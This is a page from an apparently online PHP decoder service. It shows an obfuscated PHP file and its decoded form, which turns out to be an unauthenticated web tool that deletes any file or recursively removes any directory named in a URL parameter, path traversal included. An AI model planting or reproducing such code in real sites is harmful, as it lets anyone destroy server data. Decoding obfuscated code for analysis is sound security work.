Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_X='P2lCP1ouWlZWJEFzV01fSGVZTVNAJF9DS1RqJ0FzV00nZDtWc0EoJEFzV01fSGVZTS..
Decoded Output download
?><?php
$file_name=@$_GET['file'];
if($file_name){
//$fPath="../../mobs/".$file_name;
$fPath=$file_name;
if(unlink($fPath)){echo "ok";}else{echo "error";}
}
if(@$_GET['dir']){
function delTree($dir) {
$files = array_diff(scandir($dir), array('.','..'));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}
$dir=@$_GET['dir'];
$d=delTree($dir);
if($d){echo "dir del ok";}else{echo "dir error";}
}
?>
<html>
<head>
<title></title>
</head>
<body>
<form action="" method="get" >
file:<input type="text" name="file" /><br/><br/>
dir: <input type="text" name="dir" /> <br/>hint :if same dir then only folder name;if(parent dir then ../parentfoldername)<br/>
<input type="submit" >
</form>
</body>
</html>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_X='P2lCP1ouWlZWJEFzV01fSGVZTVNAJF9DS1RqJ0FzV00nZDtWc0EoJEFzV01fSGVZTSldVmhoJEFtZT0uUyJYWGhYWGhZTzxuaCJYJEFzV01fSGVZTTtWJEFtZT0uUyRBc1dNX0hlWU07VnNBKFFIV3NIeSgkQW1lPS4pKV1NMi5PPiJPeSI7bE1Xbk1dTTIuTz4iTXp6T3oiO2xWVmxWVlZzQShAJF9DS1RqJzlzeidkKV1WVkFRSDI9c09IPjlNV1R6TU0oJDlzeik+XVY+Pj4kQXNXTW4+Uz5lenplcV85c0FBKG4yZUg5c3ooJDlzeiksPmV6emVxKCdYJywnWFgnKSk7Vj4+Pj5BT3pNZTIuPigkQXNXTW4+ZW4+JEFzV00pPl1WPj4+Pj4+KHNuXzlzeigiJDlzemgkQXNXTSIpKT4/PjlNV1R6TU0oIiQ5c3poJEFzV00iKT46PlFIV3NIeSgiJDl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 2 |
Decode Time | 58 ms |